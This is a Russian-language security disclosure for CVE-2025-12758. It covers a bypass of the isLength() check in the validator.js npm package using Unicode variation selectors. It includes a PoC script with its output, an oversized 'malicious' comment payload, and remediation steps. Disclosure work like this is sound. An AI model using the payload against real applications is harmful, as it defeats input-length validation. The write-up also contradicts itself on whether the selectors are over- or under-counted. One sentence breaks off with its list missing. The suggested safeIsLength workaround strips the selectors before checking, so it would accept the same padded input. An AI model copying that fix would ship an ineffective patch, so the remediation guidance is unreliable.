
Подробное раскрытие CVE-2025-12758 с PoC, демонстрирующим обход с помощью селектора вариантов Unicode в функции isLength() библиотеки validator.js, включая анализ первопричины, сценарии эксплуатации и шаги по устранению.
CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Уровень опасности: HIGH
CWE: CWE-792 (Incomplete Filtering of One or More Instances of Special Elements)
Опубликован: November 26, 2025
Раскрыт: October 19, 2025
Эта уязвимость затрагивает пакет validator npm версий < 13.15.22. Функция isLength() не учитывает вариативные селекторы Юникода (\uFE0F, \uFE0E) при вычислении длины строки, что приводит к некорректной проверке входных данных.
Приложение, использующее isLength() для проверки входных данных, может принимать строки, значительно превышающие заданную длину, что потенциально может привести к:
Функция isLength() не фильтрует должным образом вариативные селекторы Юникода при вычислении длины строки. Эти специальные символы (комбинирующие метки) не должны влиять на визуальную длину строки, но учитываются в свойстве String.length в JavaScript.
npm install [email protected]
node poc.js
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
Приложение может реализовать проверку комментариев пользователей:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
Исправленная версия корректно обрабатывает вариативные селекторы Юникода, исключая их из расчёта длины.
Если вы не можете немедленно обновить версию, реализуйте собственную проверку длины:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Проверьте, уязвимо ли ваше приложение:
npm audit --audit-level=high
Найдите пакет validator с версией < 13.15.22.
Уязвимость обнаружена: Karol Wrótniak
ISC